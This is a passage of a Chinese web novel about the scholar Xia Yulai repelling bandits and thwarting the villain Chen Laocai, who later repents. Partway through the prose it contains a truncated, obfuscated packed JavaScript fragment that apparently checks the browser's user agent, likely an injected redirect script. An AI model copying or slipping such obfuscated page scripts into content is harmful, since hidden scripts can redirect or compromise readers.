夏雨来心里一慌,连忙转身就跑。 “有人偷袭!快追!” 山匪们大喊着,纷纷追了上来。 夏雨来骑着毛驴,拼命地往前跑。山匪们在后面紧追不舍,一边追一边射箭。 “嗖嗖嗖” 几只箭射了过来,擦着夏雨来的耳边飞过。夏雨来吓得一身冷汗,他催促着毛驴,加快了速度。 跑了大约一个时辰,夏雨来终于甩掉了山匪们的追赶,回到了潮州城。 他顾不上休息,立刻前往县衙,找到了知府大人王大人,把黑风豹的计划告诉了他。 王大人一听,顿时大惊失色:“什么?黑风豹想要从东门进攻?这可怎么办?东门的守卫比较松懈,而且靠近商业区和居民区,如果山匪们从东门进攻,百姓们将会遭受巨大的损失!” 夏雨来说道:“大人,事不宜迟!我们必须立刻加强东门的防守!调派更多的兵力,在东门城外挖壕沟、筑土墙,设置障碍!同时,通知东门街的百姓们,让他们尽快转移到安全的地方!” 王大人点了点头,说道:“好!就按照你说的做!本府立刻调兵遣将,加强东门的防守!你也赶紧去东门街,通知百姓们转移!” 夏雨来点点头,转身离去。 他来到东门街,敲锣打鼓,通知百姓们:“各位乡亲,黑风豹要攻打潮州城了,他们准备从东门进攻!大家赶紧收拾东西,转移到西门或者北门的安全区域!官府已经加强了东门的防守,一定会保护大家的安全!” 百姓们一听,顿时慌了神,纷纷回家收拾东西,扶老携幼,往西门或者北门转移。东门街顿时一片混乱,哭喊声、尖叫声、脚步声混杂在一起。 夏雨来和孙老实、阿翠一起,帮助百姓们转移。他们扶着老人,抱着孩子,提着行李,不停地安慰着百姓们:“大家不要慌!不要挤!慢慢走!官府会保护大家的安全!” 经过一夜的忙碌,东门街的百姓们终于全部转移到了安全的区域。夏雨来看着空荡荡的东门街,心里松了一口气。但他知道,这只是暂时的平静,三天后,黑风豹就会带领山匪们攻打潮州城,一场恶战即将开始! 七、军民同心,共御强敌 三天后,黑风豹果然带领着上千名山匪,来到了潮州城东门城外。 山匪们个个手持刀枪,脸上带着狰狞的笑容,大声喊着:“打开城门!交出夏雨来!否则,我们就攻破城池,烧杀抢掠,鸡犬不留!” 城墙上,知府大人王大人亲自坐镇,指挥着士兵们防守。夏雨来、孙老实和阿翠也在城墙上,帮助士兵们搬运石头、弓箭。 王大人看着城下的山匪们,脸色阴沉:“黑风豹,你身为山匪,残害百姓,无恶不作!本府劝你早日投降,官府可以从轻发落!否则,等我们攻破你的营地,你就死无葬身之地!” 黑风豹哈哈大笑:“王大人,你少在这里虚张声势!就凭你们这些士兵,根本不是我们的对手!今天,我们一定要攻破潮州城,为陈老财报仇,把那个夏雨来碎尸万段!” 他一挥手,大喊道:“兄弟们,冲啊!攻破城池,烧杀抢掠,金银财宝、女人都是我们的!” 山匪们纷纷呐喊着,朝着城门冲了过来。他们有的拿着云梯,想要爬上城墙;有的拿着撞木,想要撞开城门;有的则在下面射箭,掩护着同伴。 城墙上的士兵们也不甘示弱,纷纷射箭、扔石头,抵抗着山匪们的进攻。箭矢如雨,石头纷飞,城下的山匪们一个个倒下,但后面的山匪们依旧源源不断地冲上来。 夏雨来拿着弓箭,瞄准一个正在爬云梯的山匪,一箭射去,正中他的肩膀。那个山匪惨叫一声,从云梯上掉了下去。 孙老实也拿着一把大刀,站在城门后面,大声喊道:“想要攻破城门,先过我这关!” 阿翠则在城墙上,为士兵们递弓箭、送水,不停地鼓励着士兵们:“大家加油!一定要守住城池,保护百姓们的安全!” 战斗异常激烈,双方死伤惨重。城墙上的士兵们虽然英勇抵抗,但山匪们人数众多,而且非常凶残,城墙好几次都差点被山匪们攻破。 夏雨来看着城下的山匪们,心里暗暗想道:这样下去不是办法!山匪们人数太多,我们的士兵们已经快支撑不住了!必须想个办法,击退山匪们的进攻! 他观察了一下地形,发现东门城外有一条小河,河水很深。他心里顿时有了一个主意。 他对王大人说道:“大人,东门城外有一条小河,我们可以打开城门,把山匪们引进来,然后放水淹他们!” 王大人一愣:“打开城门?这太危险了!如果山匪们趁机冲进城里,我们就麻烦了!” “大人,放心吧!” 夏雨来说道,“我们可以先派一部分士兵,假装败退,把山匪们引进城门内的一条小巷里。然后,我们再关闭城门,打开小河的闸门,放水淹他们!这样一来,山匪们就会被水淹没,我们就能趁机反击,击退他们!” 王大人想了想,觉得这个主意不错:“好!就按照你说的做!你赶紧去安排!” 夏雨来点了点头,立刻安排士兵们行动起来。他让一部分士兵,假装抵挡不住山匪们的进攻,纷纷后退,打开了城门。 黑风豹看到城门打开,以为士兵们已经败退,大喜过望,大喊道:“兄弟们,冲啊!城门打开了!攻破城池,烧杀抢掠!” 山匪们纷纷呐喊着,朝着城门冲了进来。他们争先恐后地冲进城门内的小巷里,想要尽快冲进城里。 就在这时,夏雨来大喊道:“关闭城门!打开闸门!” 士兵们立刻关闭了城门,同时打开了小河的闸门。河水顺着事先挖好的渠道,汹涌地冲进小巷里。 山匪们顿时慌了神,他们没想到会突然遭遇洪水。小巷里的空间狭窄,山匪们挤在一起,根本无法躲避。河水越来越深,很快就淹没了他们的膝盖、腰部、胸部。 “救命啊!” “洪水来了!快跑啊!” 山匪们纷纷哭喊着,想要逃离小巷,但城门已经关闭,他们根本逃不出去。很多山匪被洪水冲走,淹死在河里;有的则被水流冲倒,互相踩踏,死伤惨重。 黑风豹看着眼前的景象,气得暴跳如雷:“夏雨来!你这个卑鄙小人!竟然用这种阴招!我跟你没完!” 他想要带领剩下的山匪们冲出去,但洪水太大,他们根本无法前进。 夏雨来站在城墙上,看着巷子里的山匪们,冷笑道:“黑风豹,你残害百姓,无恶不作!今天,就是你的死期!” 他一挥手,大喊道:“士兵们,冲啊!消灭山匪,保护百姓!” 城墙上的士兵们纷纷冲了下去,手持刀枪,朝着巷子里的山匪们杀去。山匪们已经被洪水冲得晕头转向,根本无法抵抗士兵们的进攻。他们一个个倒下,惨叫着死去。 黑风豹看着身边的山匪们一个个倒下,知道大势已去。他想要自刎殉国,但被身边的几个头目拦住了。 “大哥,留得青山在,不怕没柴烧!我们赶紧突围,以后再找机会报仇!” 一个头目说道。 黑风豹犹豫了一下,最终还是选择了突围。他带领着剩下的几个山匪,拼尽全力,从洪水较小的地方冲了出去,逃进了山林里。 士兵们想要追赶,但被夏雨来拦住了:“不用追了!黑风豹已经成了丧家之犬,再也不敢来攻打潮州城了!我们赶紧清理战场,救治伤员,安抚百姓!” 士兵们点了点头,开始清理战场。城墙上的百姓们看到山匪们被击退,纷纷欢呼起来,掌声和欢呼声回荡在潮州城的上空。 王大人走到夏雨来身边,拍了拍他的肩膀,说道:“夏秀才,你真是太聪明了!如果不是你想出这个办法,我们根本无法击退山匪们的进攻!你为潮州城的百姓们立下了大功!” 夏雨来笑了笑,说道:“大人,这都是大家共同努力的结果!如果不是士兵们英勇抵抗,百姓们积极配合,我们也无法取得胜利!” 他转头看着城下的战场,心里充满了感慨。这场战斗,虽然取得了胜利,但也付出了惨重的代价。很多士兵和百姓都伤亡了,潮州城也遭受了很大的破坏。 但他知道,这是值得的。他们成功地击退了山匪们的进攻,保护了潮州城的百姓们,让他们免受灭顶之灾。 夕阳西下,晚霞染红了天空。潮州城的百姓们纷纷走出家门,看着清理战场的士兵们,脸上露出了欣慰的笑容。他们知道,有夏雨来和官府的保护,他们一定能重新过上幸福安宁的生活。 夏雨来站在城墙上,看着眼前的景象,心里暗暗想道:这就是他想要的生活,百姓安居乐业,邻里和睦相处,没有矛盾,没有争斗,只有幸福和安宁。他会继续用自己的智慧和勇气,为百姓们做主,守护潮州城的安宁和公道,让这片土地永远太平,永远安宁。 35. 恶霸服软 一、流放路上,恨火难消 官道尘土飞扬,两辆囚车在烈日下缓缓前行。前一辆里,陈老财陈万山被铁链锁着双手双脚,粗布囚衣早已被汗水浸透,紧紧贴在他肥硕的身上,往日里油光水滑的脸膛此刻布满尘灰,山羊胡被汗水粘成一绺绺,活像只落汤的老山羊。他斜眼瞪着身边押解的衙役,心里的恨火几乎要喷出来,牙齿咬得咯咯作响,腮帮子鼓成了两个肉包。 “狗娘养的夏雨来!” 他在心里恶狠狠地咒骂,“老夫不过是想占几亩薄田,你小子偏偏要多管闲事!害得我家产充公,流放三千里,这笔账,老夫就算是化作厉鬼,也绝不会饶了你!” 三个月前,他还是潮州城呼风唤雨的陈老爷,出门前呼后拥,百姓见了他点头哈腰,谁不敬畏三分?可现在,他成了阶下囚,被两个粗鄙的衙役呼来喝去,就连路边的野狗都敢对着他狂吠。想到这里,陈老财的胸口就像堵了一块巨石,憋得他喘不过气来。 “老东西,别瞪了!再瞪也没用!” 左边的衙役啐了一口唾沫,粗声粗气地说道,“你也不撒泡尿照照自己,现在是什么德行?以前在潮州城作威作福,现在还不是落得这般下场!” 陈老财气得浑身发抖,嘴唇哆嗦着,却不敢反驳。他知道,现在的他,连跟衙役顶嘴的资格都没有。他只能把头扭向一边,心里暗暗盘算:“等老夫逃出去,一定要让你们这些人,还有那个夏雨来,都付出血的代价!老夫有的是钱,有的是关系,只要回到潮州城,收拾一个穷酸秀才,还不是易如反掌!” 同行的囚车里,管家陈福也是一脸狼狈。他脸上青一块紫一块,那是被衙役打的,身上的囚衣破了好几个洞,露出里面瘦弱的身子。他看着陈老财,小心翼翼地说道:“老爷,您别生气了!气坏了身子不值得!我们现在最重要的是想办法逃出去,只要逃出去,就有机会报仇!” 陈老财斜了他一眼,没好气地说道:“逃?怎么逃?这荒郊野岭的,前后都是衙役,我们手脚都被锁着,怎么逃?要不是你这个废物,办事不力,老夫能落到今天这个地步吗?” 陈福被骂得狗血淋头,却不敢吭声,只能低下头,心里暗暗委屈:“明明是你让我干的,现在出了事,反倒怪起我来了!” 但他也知道,现在不是顶嘴的时候,只能忍气吞声。 夜幕降临,衙役们把囚车停在一处破庙里,生起了一堆火。陈老财和陈福被押下囚车,铁链被锁在柱子上。衙役们拿出干粮和水,一边吃一边喝酒,根本不理会他们。 陈老财饿得肚子咕咕叫,口干舌燥,他看着衙役们手里的干粮,咽了咽口水,说道:“几位官爷,能不能给我们一点吃的?一点水也行啊!” 一个衙役瞥了他一眼,冷笑一声:“你这个老恶霸,也配吃东西?当初你欺压百姓的时候,怎么没想过今天?” 另一个衙役说道:“就是!我们能给你留条活路,已经是仁至义尽了!还想要吃的喝的,做梦!” 陈老财被噎得说不出话来,心里的恨意更浓了。他看着衙役们醉醺醺的样子,心里突然生出一个念头:“这些衙役喝醉了,说不定是个逃跑的好机会!” 他偷偷给陈福使了个眼色,陈福立刻明白了他的意思。两人趁着衙役们不注意,开始偷偷磨铁链。破庙里的柱子年久失修,上面布满了裂痕,铁链在上面摩擦,发出轻微的 “沙沙” 声。 磨了大约一个时辰,铁链终于被磨断了。陈老财和陈福小心翼翼地站起身,屏住呼吸,朝着破庙门口摸去。就在他们快要走出破庙的时候,一个衙役突然醒了过来,看到他们,大喊道:“不好!囚犯跑了!” 其他衙役也被惊醒了,纷纷拿起刀枪,朝着他们追了过来。陈老财和陈福吓得魂飞魄散,拼命地往前跑。 “快追!别让他们跑了!” 衙役们大喊着,在后面紧追不舍。 陈老财和陈福慌不择路,跑进了一片山林里。山林里漆黑一片,树枝纵横交错,他们跑得跌跌撞撞,身上被划出了一道道血口子。 “老爷,我们往哪里跑啊?” 陈福气喘吁吁地问道。 “往潮州城的方向跑!” 陈老财说道,“只要回到潮州城,找到我的老关系,就能躲过这些衙役的追捕!” 两人在山林里跑了一夜,直到天亮,才终于逃出了衙役们的追捕。他们累得瘫倒在地,大口大口地喘着粗气。 陈老财看着东方升起的太阳,心里暗暗发誓:“夏雨来,你等着!老夫一定会回来的!到时候,我要让你生不如死!” 二、潜回潮州,暗寻助力 半个月后,潮州城西门外的一处破窑里,陈老财和陈福乔装打扮成乞丐,躲在里面。陈老财脸上抹着锅底灰,穿着一件破烂不堪的衣服,头发乱糟糟的,看起来跟真的乞丐没什么两样。陈福则在一旁,小心翼翼地给陈老财递水。 “老爷,我们已经回到潮州城了,接下来该怎么办?” 陈福问道。 陈老财喝了一口水,说道:“现在夏雨来在潮州城名声大噪,官府也很赏识他,我们不能硬碰硬!我们得先找到我的老关系,筹集一些钱财,然后再想办法对付他!” “老爷,您的老关系都在哪里啊?” 陈福问道。 “潮州城的盐商李老板、绸缎庄的王老板,还有县衙的张师爷,都是我的老相识!他们以前都受过我的恩惠,现在我落难了,他们肯定会帮我的!” 陈老财说道,脸上露出一丝得意的笑容。 当天晚上,陈福偷偷溜出破窑,前往李老板的盐铺。盐铺里灯火通明,李老板正在算账。陈福敲了敲盐铺的后门,一个伙计打开了门。 “你是谁?有什么事?” 伙计问道。 “我是陈老财陈老爷的管家陈福,有要事想见李老板,麻烦你通报一声!” 陈福说道。 伙计上下打量了他一番,说道:“你等着,我去通报!” 不一会儿,李老板走了出来,看到陈福,皱了皱眉头:“陈福?你怎么变成这副样子了?陈老爷呢?” “李老板,我们老爷他…… 他落难了!” 陈福哭丧着脸说道,“他被夏雨来那个小人陷害,家产充公,流放三千里,我们是好不容易才逃回来的!现在我们老爷藏身在城外的破窑里,处境非常危险,希望李老板能伸出援手,帮我们一把!” 李老板一听,脸色变了变。他知道陈老财的为人,贪婪狡诈,为了利益不择手段。但他也知道,陈老财以前确实帮过他不少忙,现在他落难了,如果不帮他,万一以后陈老财东山再起,肯定会报复他。 “陈福,你先起来!” 李老板说道,“这件事我知道了!我会给你们一些钱财,你们先找个安全的地方落脚!至于对付夏雨来,这件事非同小可,我得好好考虑一下!” 说完,李老板从抽屉里拿出五十两银子,递给陈福:“这些银子你先拿着,给陈老爷买点吃的穿的!有什么事,以后再联系!” 陈福接过银子,连忙磕头谢恩:“谢谢李老板!谢谢李老板!您的大恩大德,我们老爷一定会报答的!” 陈福又去了王老板的绸缎庄和张师爷的家里,他们也都给了陈老财一些钱财,但对于对付夏雨来这件事,都表示需要好好考虑。 陈老财拿到钱财后,心里稍微安定了一些。他在破窑里换上了一身干净的衣服,脸上的锅底灰也洗干净了,又恢复了几分往日的派头。 “老爷,现在我们有了钱财,接下来该怎么办?” 陈福问道。 陈老财摸了摸下巴上的山羊胡,说道:“这些人都是些势利眼,指望他们帮我们对付夏雨来,肯定是不行的!我们得自己想办法!夏雨来不是喜欢为民做主吗?我们就从百姓身上下手,让他名声扫地!” “老爷,您有什么好主意?” 陈福问道。 “潮州城东南乡有一片果园,是张老汉的产业!张老汉年纪大了,身体不好,他的儿子又在外地经商,家里只有他一个人!我们可以去抢占他的果园,就说这片果园是我们陈家的祖产,被张老汉霸占了!到时候,夏雨来肯定会出来管这件事,我们就跟他胡搅蛮缠,让他进退两难!” 陈老财说道,脸上露出一丝阴狠的笑容。 “老爷,这个主意好!” 陈福说道,“张老汉势单力薄,我们肯定能占到便宜!而且,夏雨来如果管这件事,我们就可以让他在百姓面前出丑!” 陈老财点了点头,说道:“好!明天我们就去东南乡,抢占张老汉的果园!” 三、强占果园,老汉遭殃 第二天一大早,陈老财带着陈福和几个花钱雇来的地痞流氓,气势汹汹地来到了东南乡的果园。果园里种满了苹果树和梨树,果实累累,散发着诱人的香气。张老汉正在果园里浇水,看到陈老财他们,心里顿时慌了。 “陈…… 陈老爷,您怎么来了?” 张老汉结结巴巴地说道。 陈老财双手叉腰,仰着头,说道:“张老汉,你这个老东西!竟然敢霸占我们陈家的祖产!这片果园,早在几十年前,就是我们陈家的产业,是你父亲用不正当的手段从我们陈家骗走的!今天,老夫是来收回这片果园的!” 张老汉一听,急得眼泪都快掉下来了:“陈老爷,您可不能胡说啊!这片果园是我父亲辛辛苦苦开垦出来的,已经传了三代了,怎么会是你们陈家的祖产呢?” “哼!你还敢狡辩!” 陈老财说道,“我这里有证据!” 说完,陈老财从怀里掏出一张皱巴巴的纸,递给张老汉:“你看看!这是当年你父亲跟我们陈家签订的契约,上面写得清清楚楚,这片果园是我们陈家的,你父亲只是暂时租用!现在租期到了,我们自然要收回!” 张老汉接过契约,看了看,上面的字迹模糊不清,而且签名也不是他父亲的名字。他知道,这张契约是陈老财伪造的。 “陈老爷,这张契约是假的!” 张老汉说道,“我父亲根本没有跟你们陈家签订过这样的契约!您这是诬陷!” “诬陷?” 陈老财冷笑一声,“你这个老东西,敬酒不吃吃罚酒!来人啊!把张老汉给我赶出去!从今天起,这片果园就是我们陈家的了!” 几个地痞流氓立刻冲了上去,抓住张老汉的胳膊,把他往果园外拖。张老汉拼命地挣扎着,大喊道:“救命啊!陈老财抢占我的果园了!救命啊!” 但周围的百姓们都知道陈老财的厉害,谁敢上前阻拦?他们只能眼睁睁地看着张老汉被拖出果园,心里充满了愤怒和无奈。 陈老财看着被拖出去的张老汉,脸上露出一丝得意的笑容。他对陈福说道:“陈福,你带着几个人在这里看着果园,我去城里一趟,看看夏雨来有没有听到消息!” 陈老财来到城里,故意在东门街的小院附近徘徊。他知道,夏雨来肯定会听到他抢占果园的消息,一定会出来管这件事。 果然,没过多久,孙老实就从外面跑了回来,对夏雨来说道:“夏秀才,不好了!陈老财那个老恶霸,竟然从流放地逃回来了!他还带着几个地痞流氓,抢占了东南乡张老汉的果园!张老汉被他们打得鼻青脸肿,现在正在家里哭呢!” 夏雨来一听,顿时怒不可遏:“这个陈老财,真是死不悔改!刚从流放地逃回来,就敢如此嚣张!孙老实,我们现在就去东南乡,看看情况!” 夏雨来和孙老实来到东南乡的果园,看到陈老财正坐在果园里的一棵大树下,喝着茶,一副悠然自得的样子。几个地痞流氓则在果园里四处闲逛,随意采摘着果实。 张老汉看到夏雨来,连忙跑了过来,哭着说道:“夏秀才,您可来了!陈老财这个恶霸,抢占了我的果园,还打了我!您一定要为我做主啊!” 夏雨来拍了拍张老汉的肩膀,说道:“张老汉,您放心!有我在,一定不会让陈老财这个恶霸得逞的!” 夏雨来走到陈老财面前,说道:“陈老财,你好大的胆子!竟然从流放地逃回来,还敢抢占百姓的果园!你就不怕官府再次把你抓起来吗?” 陈老财抬起头,看了看夏雨来,冷笑一声:“夏雨来,你少在这里多管闲事!这片果园是我们陈家的祖产,我只是收回属于我的东西,跟你有什么关系?” “祖产?” 夏雨来说道,“张老汉说这片果园是他父亲开垦出来的,已经传了三代了!你说这是你们陈家的祖产,有什么证据?” 陈老财从怀里掏出那张伪造的契约,递给夏雨来:“证据就在这里!这是当年张老汉的父亲跟我们陈家签订的契约,上面写得清清楚楚,这片果园是我们陈家的!” 夏雨来接过契约,仔细看了看,上面的字迹模糊不清,签名也很潦草,一看就是伪造的。 “陈老财,你这张契约是伪造的!” 夏雨来说道,“张老汉的父亲根本没有跟你们陈家签订过这样的契约!你这是诬陷!” “诬陷?” 陈老财说道,“你有什么证据证明这张契约是伪造的?夏雨来,你不要以为你有点小聪明,就能随便诬陷老夫!今天,这片果园我是收定了!你要是敢阻拦,老夫就对你不客气!” 几个地痞流氓也围了上来,虎视眈眈地看着夏雨来,一副随时准备动手的样子。 孙老实一看,连忙挡在夏雨来面前,说道:“夏秀才,小心点!这些地痞流氓不好惹!” 夏雨来笑了笑,说道:“孙老实,不用怕!他们这些人,都是些欺软怕硬的家伙!” 夏雨来看着陈老财,说道:“陈老财,你以为你带着几个地痞流氓,就能为所欲为吗?我告诉你,今天你要是不把果园还给张老汉,我就去县衙报案,让官府来收拾你!到时候,你不仅要把果园还给张老汉,还要受到更严厉的惩罚!” 陈老财心里一慌,但他还是强装镇定:“夏雨来,你少吓唬我!县衙的张师爷是我的老相识,他不会听你的!你就算去报案,也没用!” “是吗?” 夏雨来说道,“张师爷虽然是你的老相识,但他也是朝廷的官员,岂能容你如此胡作非为?我相信,只要我把事情的真相告诉王大人,王大人一定会为张老汉做主的!” 陈老财知道,王大人非常赏识夏雨来,如果夏雨来真的去县衙报案,王大人肯定会派人来调查。到时候,他伪造契约、抢占果园的事情就会败露,后果不堪设想。 但他还是不死心,说道:“夏雨来,你不要以为你能吓唬到我!老夫今天就是不把果园还给张老汉,你能奈我何?” 夏雨来冷笑一声,说道:“好!既然你执迷不悟,那我就只能去县衙报案了!孙老实,我们走!” 说完,夏雨来转身就要走。陈老财一看,连忙说道:“夏雨来,你等等!” 夏雨来停下脚步,说道:“怎么?你改变主意了?” 陈老财咬了咬牙,说道:“夏雨来,这片果园可以还给张老汉,但你必须答应我一个条件!” “什么条件?” 夏雨来问道。 “你以后不准再多管我的闲事!” 陈老财说道,“我做什么事情,都跟你无关!你要是再敢干涉我的事情,我就对你不客气!” 夏雨来笑了笑,说道:“陈老财,你太天真了!只要你不欺压百姓,不做违法乱纪的事情,我自然不会管你的闲事!但如果你敢再次欺压百姓,危害一方,我就算拼了这条命,也会跟你斗争到底!” “你……” 陈老财气得说不出话来,但他也知道,现在他没有别的选择。如果夏雨来真的去县衙报案,他肯定会吃不了兜着走。 “好!我答应你!” 陈老财说道,“我现在就把果园还给张老汉!但你也要记住你说的话,以后不准再多管我的闲事!” 说完,陈老财对几个地痞流氓说道:“我们走!” 几个地痞流氓跟着陈老财,悻悻地离开了果园。 张老汉看到陈老财离开了,连忙跑到夏雨来面前,磕头谢恩:“谢谢夏秀才!谢谢夏秀才!您真是我的大恩人!如果不是您,我的果园就被陈老财那个恶霸抢占了!” 夏雨来扶起张老汉,说道:“张老汉,不用谢我!这都是我应该做的!以后,如果你再遇到陈老财这样的恶霸,一定要及时告诉我,我会为你做主的!” “我知道了!谢谢夏秀才!” 张老汉说道,脸上露出了欣慰的笑容。 四、贼心不死,再设毒计 陈老财回到破窑里,气得浑身发抖。他没想到,自己精心策划的计划,竟然又被夏雨来破坏了。 “夏雨来!你这个卑鄙小人!” 陈老财咒骂道,“老夫跟你势不两立!我一定要让你身败名裂,死无葬身之地!” 陈福看着陈老财,小心翼翼地说道:“老爷,现在夏雨来在潮州城名声大噪,百姓们都非常支持他,官府也很赏识他,我们想要对付他,恐怕很难!” “难?” 陈老财说道,“天下无难事,只怕有心人!夏雨来虽然聪明,但他也有弱点!他最看重的就是名声,我们就从他的名声下手,让他成为百姓们唾弃的对象!” “老爷,您有什么好主意?” 陈福问道。 “潮州城有一个寡妇,名叫李秀莲,长得非常漂亮!她的丈夫去世得早,她一个人带着孩子,生活非常艰难!我们可以去威胁李秀莲,让她去诬陷夏雨来,就说夏雨来调戏她,想要霸占她!到时候,百姓们肯定会唾弃夏雨来,官府也会治他的罪!” 陈老财说道,脸上露出一丝阴狠的笑容。 “老爷,这个主意好!” 陈福说道,“李秀莲势单力薄,我们肯定能威胁到她!而且,夏雨来一向注重名声,如果被人诬陷调戏寡妇,他的名声肯定会一落千丈!” 陈老财点了点头,说道:“好!明天我们就去找到李秀莲,威胁她,让她去诬陷夏雨来!” 第二天,陈老财和陈福来到了李秀莲的家里。李秀莲的家是一间破旧的小草屋,家里非常简陋。李秀莲正在给孩子缝衣服,看到陈老财他们,心里顿时慌了。 “陈…… 陈老爷,您怎么来了?” 李秀莲结结巴巴地说道。 陈老财双手叉腰,说道:“李秀莲,老夫今天来,是想让你帮我办一件事!” “什么事?” 李秀莲问道,心里充满了不安。 “你去县衙报案,就说夏雨来调戏你,想要霸占你!” 陈老财说道,“如果你照做,老夫就给你一百两银子,让你和你的孩子过上好日子!如果你不照做,老夫就对你和你的孩子不客气!” 李秀莲一听,吓得脸色苍白:“陈老爷,您可不能让我做这种事!夏秀才是个好人,他怎么会调戏我呢?我不能诬陷他!” “好人?” 陈老财冷笑一声,“夏雨来就是个伪君子!他表面上为民做主,实际上一肚子坏水!你要是不照我说的做,我就把你的孩子卖掉,让你永远也见不到他!” 说完,陈老财示意陈福,陈福立刻上前,想要去抢李秀莲的孩子。 李秀莲紧紧地抱着孩子,哭着说道:“不要!不要!我照做!我照做还不行吗?” 陈老财满意地点了点头,说道:“这才对嘛!识时务者为俊杰!你明天就去县衙报案,按照我说的做!事成之后,老夫一定会给你一百两银子!” 说完,陈老财和陈福转身离开了李秀莲的家。 李秀莲抱着孩子,哭得撕心裂肺。她知道,夏雨来是个好人,她不能诬陷他,但她也害怕陈老财会伤害她的孩子。她陷入了两难的境地。 第二天,李秀莲怀着忐忑的心情,来到了县衙。她跪在大堂上,哭着说道:“大人,我要报案!潮州城的夏雨来,调戏我,想要霸占我!请大人为民做主!” 王大人一听,顿时大惊失色:“什么?夏雨来调戏你?李秀莲,你可知道,诬告朝廷命官是要杀头的!你可有证据?” “大人,我有证据!” 李秀莲说道,“昨天,夏雨来到我家里,对我动手动脚,还说要让我做他的小妾!我不答应,他就威胁我,如果我不答应,他就对我的孩子不客气!” 王大人心里充满了疑惑。他知道夏雨来的为人,正直善良,为民做主,怎么会做出这种事情呢?这其中一定有蹊跷。 “李秀莲,你说夏雨来调戏你,可有证人?” 王大人问道。 “大人,当时只有我和夏雨来两个人,没有其他证人!” 李秀莲说道,脸上露出一丝慌乱。 王大人皱了皱眉头,说道:“李秀莲,你先起来!这件事非同小可,本府会派人调查清楚的!” 说完,王大人让人把李秀莲带下去,然后立刻让人去传唤夏雨来。 夏雨来接到县衙的传讯,心里非常疑惑。他不知道自己犯了什么罪,为什么王大人会传唤他。 他来到县衙大堂,看到李秀莲站在一旁,脸上还带着泪痕。他心里顿时明白了,一定是有人陷害他。 “大人,学生夏雨来,见过大人!不知大人传唤学生,有何要事?” 夏雨来问道。 王大人看着夏雨来,说道:“夏秀才,有人告你调戏寡妇李秀莲,想要霸占她!你可认罪?” 夏雨来一听,顿时怒不可遏:“大人,这纯属诬陷!学生根本不认识李秀莲,更没有调戏她!这一定是有人故意设下的圈套,想要陷害学生!” “诬陷?” 王大人说道,“李秀莲说,昨天你到她家里,对她动手动脚,还威胁她!你怎么解释?” “大人,学生昨天一直在家里看书,根本没有去过李秀莲的家!孙老实可以为我作证!” 夏雨来说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王大人看着陈老财,脸色阴沉:“陈万山,你屡次三番地陷害夏秀才,扰乱地方治安,损害百姓利益!本府岂能饶你!来人,把陈老财和陈福拖下去,杖责一百,关进大牢!等本府上报朝廷,再做处置!” 衙役们立刻上前,把陈老财和陈福拖了下去。陈老财的惨叫声回荡在县衙大堂里。 夏雨来看着陈老财被拖下去,心里松了一口气。他知道,陈老财这次是插翅难飞了。 五、大牢悔过,初显悔意 陈老财被关进大牢后,心里充满了绝望。他躺在冰冷的地上,身上的伤口火辣辣地疼。他想起了自己以前的生活,锦衣玉食,前呼后拥,而现在,他却成了阶下囚,住在阴暗潮湿的大牢里,每天只能吃一些发霉的饭菜。 他开始反思自己的所作所为。他以前欺压百姓,抢占田地,为了利益不择手段,伤害了很多人。现在,他落得这般下场,都是他咎由自取。 “老夫真是太愚蠢了!” 陈老财自言自语道,“如果当初我没有那么贪婪,没有想要抢占清水河两岸的田地,就不会得罪夏雨来,也不会落得今天这个地步!” 他想起了夏雨来的好。夏雨来为民做主,化解了两村的矛盾,修建了水利设施,让百姓们过上了幸福的生活。而他,却一次次地陷害夏雨来,想要置他于死地。 “夏雨来是个好人啊!” 陈老财说道,“老夫真是瞎了眼,竟然跟一个为民做主的好秀才作对!” 陈福也被关进了大牢,他躺在陈老财的旁边,说道:“老爷,我们现在该怎么办?我们还能出去吗?” 陈老财叹了口气,说道:“出去?我们现在这个样子,怎么出去?王大人已经上报朝廷了,我们肯定会被判处重刑!这都是老夫的错,是老夫连累了你!” “老爷,这不能怪您!” 陈福说道,“要怪就怪夏雨来,如果不是他多管闲事,我们也不会落得今天这个地步!” “不!不能怪夏雨来!” 陈老财说道,“是我们自己太贪婪,太过分了!夏雨来为民做主,没有错!错的是我们!” 陈老财在大牢里反思了很多天,他终于明白了,只有善待百姓,才能得到百姓的尊重和爱戴。如果继续欺压百姓,为非作歹,最终只会落得身败名裂,死无葬身之地的下场。 他决定,等他出去后,一定要痛改前非,不再欺压百姓,做一个善良的人。 六、朝廷发落,从轻处置 一个月后,朝廷的圣旨传到了潮州城。圣旨上写道:“陈万山,屡次陷害士大夫,扰乱地方治安,本应斩首示众!但念其在大牢中悔过自新,且夏雨来为其求情,特从轻发落,判其杖责五十,流放一千里,家产充公!陈福,参与陷害夏雨来,判其杖责三十,流放五百年!” 王大人接到圣旨后,立刻让人去大牢里提审陈老财和陈福。 陈老财听到朝廷的判决后,心里非常感激。他知道,这都是夏雨来为他求情的结果。如果不是夏雨来,他肯定会被判处死刑。 “大人,谢谢大人!谢谢夏秀才!” 陈老财跪倒在地,哭着说道,“我以后一定会痛改前非,不再欺压百姓,做一个善良的人!” 王大人点了点头,说道:“陈万山,希望你说到做到!如果你再敢欺压百姓,为非作歹,本府一定不会饶你!” “是!是!我一定说到做到!” 陈老财说道。 随后,衙役们对陈老财和陈福执行了杖刑,然后把他们押上了流放的囚车。 夏雨来来到囚车旁,看着陈老财,说道:“陈老财,这是最后一次机会!如果你再敢作恶,就没有人能救你了!” 陈老财看着夏雨来,眼里充满了感激和愧疚:“夏秀才,谢谢你!谢谢你为我求情!我以后一定会痛改前非,不再欺压百姓!我会用我的余生,来弥补我以前所犯的错误!” 夏雨来点了点头,说道:“好!我相信你!希望你说到做到!” 囚车缓缓地离开了潮州城。陈老财坐在囚车里,看着潮州城的方向,心里暗暗发誓:“我一定要痛改前非,做一个善良的人!等我回来,我一定要报答夏雨来的大恩大德!” 七、流放归来,真心悔过 一年后,陈老财流放期满,回到了潮州城。他的头发已经花白,身体也变得消瘦了很多,但眼神却变得清澈了许多。 他回到潮州城后,没有去寻找以前的老关系,而是来到了东门街的小院,找到了夏雨来。 “夏秀才,我回来了!” 陈老财说道,脸上露出一丝愧疚的笑容。 